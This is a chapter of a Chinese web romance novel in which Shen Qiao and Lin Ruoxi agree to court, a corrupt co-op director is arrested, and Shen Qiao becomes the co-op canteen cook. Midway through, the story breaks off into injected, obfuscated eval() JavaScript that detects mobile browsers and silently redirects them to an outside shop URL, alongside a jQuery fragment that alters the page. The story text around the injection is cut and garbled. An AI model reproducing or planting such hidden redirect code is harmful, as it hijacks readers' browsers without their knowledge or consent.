沈峤整个人像被钉在了板凳上。
他手里还捏着那根针。针尖戳进指腹，他完全没感觉到。
林若溪靠在门框上等他回答，左腿缠着纱布，手掌包着白布，脸色因为失血还有点发白，但眼睛亮晶晶的。
她刚缝了七针，刚在卫生院疼得额头冒冷汗，刚被人推到锄头上割了一条腿，现在她单脚跳着挪到灶房门口，跟他说“肥水不流外人田”。
“你——”
沈峤的喉结上下滚了又滚，声音哑得不像自己的，“你刚才说——凑合——你是不是头被摔了？”
“你头才被摔了。我好着呢，脑子清醒得很。”
林若溪歪着头，“怎么样，给个话。处不处？”
沈峤把针线往灶台上一搁站起来。
他走到她面前，低头看着她。
两个人之间隔了不到半步，近得她能闻到他身上那股松针味，近得他能看清她睫毛上还挂着刚才疼出来的水珠。
“不是凑合。”他说。
“什么？”
“不是凑合。不是肥水不流外人田。不是我们一个屋檐下住着顺便的事。”
他的声音不高，但每一字都像是从胸腔里碾出来的，稳得一点抖都没有。
这个连说“我喜欢你”都要结巴半天的人，刚才说这四句话的时候，一个字都没结巴。
“那你是什么？”
他沉默了好一会儿。
喉结上下滚了几次，手指捏着衣角又松开，耳朵红得能滴血。
他蹲下来——不是站着低头看她，是蹲下来。
握住她没受伤的那只手，他的手比她大了一圈，粗糙，骨节硬，但托着她手背的力道轻得像托着一只刚出壳的鹌鹑。
“我想过很多次。从你第一天来，你说你想留下来，我就开始想。
我什么都没说，因为我觉得你不会看上我。
我什么都没有。这房子是跟你一起买的。我现在烤鸡还要你帮吆喝。但我会有的。”
他抬头看着她，眼睛里有灶膛里的火光，还有另一种更亮的东西。
“你要什么，我都给你弄来。不是凑合。不是试试。是，你想要的，我都给你。你不想走的，我不让你走。”
林若溪靠着门框，低头看着蹲在面前的他。
这个傻子，她说“凑合凑合过”，他把“凑合”两个字翻来覆去想了好一会儿，想出来的每一个字都在说同一件事——不是凑合。
她的手被他握在掌心里，他的手很热。
灶膛里的余烬还在噼啪作响，橘红色的火光把两个人的影子投在背后的土墙上，一高一低，靠得很近。
“你说完了？”
“……说完了。”
“那你抬头。”
他抬起头。
她伸手在他额头上弹了一下，跟他第一次说“我没钱怎么娶”时她弹的那一下一模一样。
“傻子。我说的是‘日后你要是不想处了，我们就散了’。
这句话的重点不是‘散了’，是‘日后’。
日后你对我好，我就对你好。
日久生情，日久也见人心。
你这颗心我看见了。
所以不是凑合。
是我想跟你处对象。
听懂了吗。”
沈峤的眼眶红了。
不是哭，是忍了很久的东西终于找到了一个出口。
他低下头，把她的手翻过来，掌心贴在他的掌心里。
他的手指穿过她的指缝，十指扣紧。
力道不重，但每一根手指都收得很认真，像是在扣好一件很重要很重要的东西。
“听懂了。”
他说。声音有点哽，但很稳。
他把她的手放回被子上，站起来，“汤该好了。我去盛。”
他转身往灶台走，走了两步又停下来，没回头，声音闷闷的，“……你刚才说日后。日后是多久。”
“你想多久就多久。”
“……那就很久。很久很久。”
他大步走到灶台前，掀开锅盖。
骨头汤已经炖得浓白，咕嘟咕嘟冒着泡。
他拿勺子搅了两下，背对着她，耳廓红得像被灶火烤透了。
小石头第二天从孙大婶家回来，一进门就发现不对劲。
沈峤哥哥在灶房里切菜，切的还是萝卜丝，但他切菜的节奏跟平时不一样——平时是笃笃笃，今天是笃笃笃笃笃，快了一倍，菜刀都快飞出残影了。
妈妈坐在床上，腿上盖着被子，手里端着沈峤给她熬的红糖水，嘴角弯弯的。
“妈妈，你今天怎么笑了。”
“我哪天不笑。”
“你今天笑得更厉害。眼睛都眯起来了。”
小石头爬上床，凑到她耳朵边，压低声音，“是不是沈峤哥哥又做好吃的了。”
“比好吃的还好。”
小石头歪着脑袋想了半天，没想明白比好吃的还好是什么。
但他看见沈峤从灶房里端出一碗骨头汤，蹲在床边，拿勺子搅了搅，吹了两口，递到妈妈嘴边。
妈妈低头喝汤的时候，沈峤的手托在勺子下面，怕汤滴到她被子上。
小石头觉得这个画面跟以前差不多，沈峤哥哥一直都是这么照顾妈妈的。
但他又总觉得今天好像有什么不一样。
他也说不出来哪里不一样。
大概是沈峤哥哥的耳朵一直红着。
从灶房红到床边，从端汤红到喂完，从早上红到晚上，就没消过。
沈峤哥哥的耳朵为什么会红呢？
小石头趴在床沿上，看看沈峤的背影，又看看妈妈。“妈妈，沈峤哥哥是不是发烧了？”
“没发烧。”
“那他耳朵为什么那么红？”
“因为灶房太热。”
小石头跑去灶房门口探了个头。
灶膛里的火已经小了，根本没有多热。
他又跑回来，凑到林若溪耳朵边，压低声音，“妈妈，灶房不热。沈峤哥哥骗人。”
林若溪没忍住笑，揉了揉他的脑袋，“等你长大了就懂了。”
小石头哼了一声，抓起他那根数野鸡的树枝跑到院子里，蹲在偏棚门口跟大将军、花尾巴和坏蛋开了个小会。
“沈峤哥哥今天不对劲，妈妈也不对劲，他们两个肯定有秘密。”
大将军咕咕叫了两声，花尾巴啄了一下他的树枝，坏蛋趁他不注意又踩碎了一颗鹌鹑蛋。
小石头赶紧把树枝收回来，决定暂时放弃跟这帮不靠谱的鸡商量，自己去侦查。
下午，林若溪靠在床上缝沈峤的新棉袄，蓝布裁得整整齐齐，针脚又密又匀。
缝到领口的时候院门响了，沈峤推门进来，手里拎着一只还在蹬腿的灰毛兔子，身后跟着隔壁孙大婶。
孙大婶怀里抱着个纸包，嗓门比平时还大了一倍：“若溪呀——供销社那个姓刘的被抓了！”
林若溪放下针，抬眼看她。
孙大婶把纸包塞进沈峤手里，一屁股坐在床边的板凳上。
“公安从刘主任办公室搜出来一堆账本，他这几年偷偷扣了供销社的货，倒卖给隔壁镇上的人，赚了不少黑心钱。
蔡婆子帮他做假账，也被带走了。
还有上回那个瘦高个他为了减刑，把刘主任怎么指使他偷你们家野鸡、怎么安排人去供销社闹事，全交代了！”
沈峤把兔子放进偏棚，快步走回来，手上还沾着兔毛，站在床边看着孙大婶。
孙大婶被他看得乐了。
“你这小子急什么，若溪又没跑。事情还没完，供销社那边要调整岗位，张主任升了副社长，让我来问问你，愿不愿意去供销社食堂当厨师。
是正式工！一个月工资跟若溪一样，年底还有福利。”
沈峤没说话。
他低头看着自己的手，能劈柴、能杀鸡、能一斧头把野猪劈晕的手，指甲缝里还嵌着洗不掉的炭灰。
“我……能行？”
他的声音有点哑，像是嗓子眼里堵了团东西。
孙大婶一巴掌拍在他肩膀上。
“你烤鸡摊子都能排长队，供销社食堂才多少人？张主任说了，食堂那个大师傅做了二十年大锅饭，还不如你烤的一串鸡翅好吃。”
林若溪从床上坐直身子，看着他。
他没有立刻答应，也没有摇头。
他只是站在那里，把孙大婶的话一个字一个字地消化完，转过头来看她。
目光碰上的瞬间她看懂了，他在问她，你觉得我行吗？
她靠在枕头上，朝他弯起嘴角，“供销社食堂有固定工资，还有工位。以后不用天没亮就去集市占位置了。”
他听完，转回去看孙大婶，声音还是哑哑的，“……什么时候上班。”
“下周一！这几天你先在家把若溪照顾好，等周一她腿也差不多了，你们俩一块儿去供销社，一个站柜台，一个掌大勺！”
孙大婶站起来，拍了拍腿上的瓜子壳，风风火火地走了。
院子里安静下来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628042|204699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈峤把那只灰毛兔子从偏棚拎出来，蹲在井边杀兔子。
剥皮，开膛，洗净，码进盆里，动作行云流水。
他端着盆走进灶房，把兔肉放在砧板上。
他站了片刻，转过身来，“正式工。以后你站柜台，我掌勺。下了班一起走回家。”
“嗯。”
“一起挣钱。一起养石头。”
“嗯。”
他转过身去剁兔肉。刀刃落在砧板上，笃笃笃，节奏又快又稳。剁了两下忽然停下来，没回头，声音闷闷的，“我没做梦吧。”
“不是梦。”
“那你掐我一下。”
她伸手在他腰上掐了一下。
他嘶了一声，嘴角翘起来，继续剁兔肉。
刀刃落得更快了。
沈峤去供销社食堂上班的第一天，天没亮就起来了。
他把那件新棉袄穿上，对着井水照了又照。
小石头蹲在井边，手里攥着他那根树枝，仰头看沈峤，“沈峤哥哥，你今天像新郎官。”
沈峤的耳朵瞬间红透，把围裙往肩上一搭，大步往外走，“我去上班。”
“沈峤哥哥耳朵又红了！”
林若溪靠在门框上，看着他的背影消失在巷口。
供销社食堂在镇子主街中段，紧挨着供销社正门。
食堂换了厨子的消息孙大婶已经帮她传遍了整条巷子，开张第一天来打饭的人比平时多了快一倍。
林若溪下班过去的时候，食堂窗口前排着长队，沈峤系着围裙在灶台前颠勺。
他个子太高，灶台对他来说矮了一截，只能微微弯着腰。
铁锅里的菜翻了个花，火光映在他脸上，眉头微微皱着，表情专注得不像在炒大锅菜，倒像在做一件什么了不起的瓷器。
他把炒好的菜倒进大铁盘里，抬头看见她站在门口，手顿了一下，锅铲在铁锅边缘磕出轻轻的一声脆响。
“……你怎么来了。”
“下班了。来看看你第一天上班怎么样。”
林若溪靠在食堂门框上，朝窗口努了努下巴，“这么多人排队，看来不错。”
后面排队的几个大婶开始起哄。
“小沈，这是你媳妇吧？长得真俊！”
“就是！上回在供销社门口卖烤鸡的时候我就说是他媳妇！”
“什么时候请我们喝喜酒啊？”
沈峤的脸从耳朵红到脖子根，锅铲在锅里搅了好几下，想说话说不出来，最后只挤出一个字：
“……她、她还没吃饭。”
端起灶台边一碟提前留好的菜，红烧兔肉，她最喜欢的，从窗口递出来。
“给你留的。食堂第一份，你尝尝。”
排队的大婶们起哄得更厉害了，“还没吃饭，那先把饭端出来给媳妇吃，小沈你慌什么呀？”
“不是……”
“什么不是？刚才你自己说的‘她还没吃饭’，我们可都听见了！”
沈峤张了张嘴，脸憋得通红，转身回去颠勺。
锅铲翻得比刚才快了一倍，但他颠勺的时候嘴角翘着，怎么都压不下去。
林若溪端着那碟红烧兔肉在食堂角落找了个位置坐下。
兔肉很嫩，放了辣椒，是她喜欢的口味。
她知道这碟菜是他专门留的，食堂大锅菜不会放这么多辣椒，也不会把兔肉切得这么整齐。
他一定是在炒大锅菜之前，先盛了一小份出来，单锅给她炒的，多放了半勺辣椒，火候比大锅菜多颠了好几下。
她嚼着兔肉，看着他在灶台前颠勺的背影，忽然觉得这比烤鸡摊好。
不用风吹日晒，不用躲瘦高个，不用一个人蹲在集市角落里数毛票。
他有工位了，围裙上印着“青山镇供销社食堂”几个红字，炒菜的时候有人给他递盐罐子。
还有个大嗓门的食堂阿姨在旁边夸他“长得俊手艺好”。
吃完饭她把空碟子送回窗口。沈峤接过碟子，指尖碰到她的手指，在碟子边缘停了一瞬。她抬头看他，“晚上吃什么。”
“……骨头汤。给你炖好了。在灶上温着。”
“我问你吃什么。”
“……骨头汤。跟你一样。”
她笑了一下，转身走出食堂。
身后又传来大婶们的起哄声。
她走在供销社的走廊里，外面的天已经黑了，路灯把她的影子拉得很长。
食堂里锅铲碰铁锅的声音还在继续，橘红色的火光从窗口映出来，暖暖的……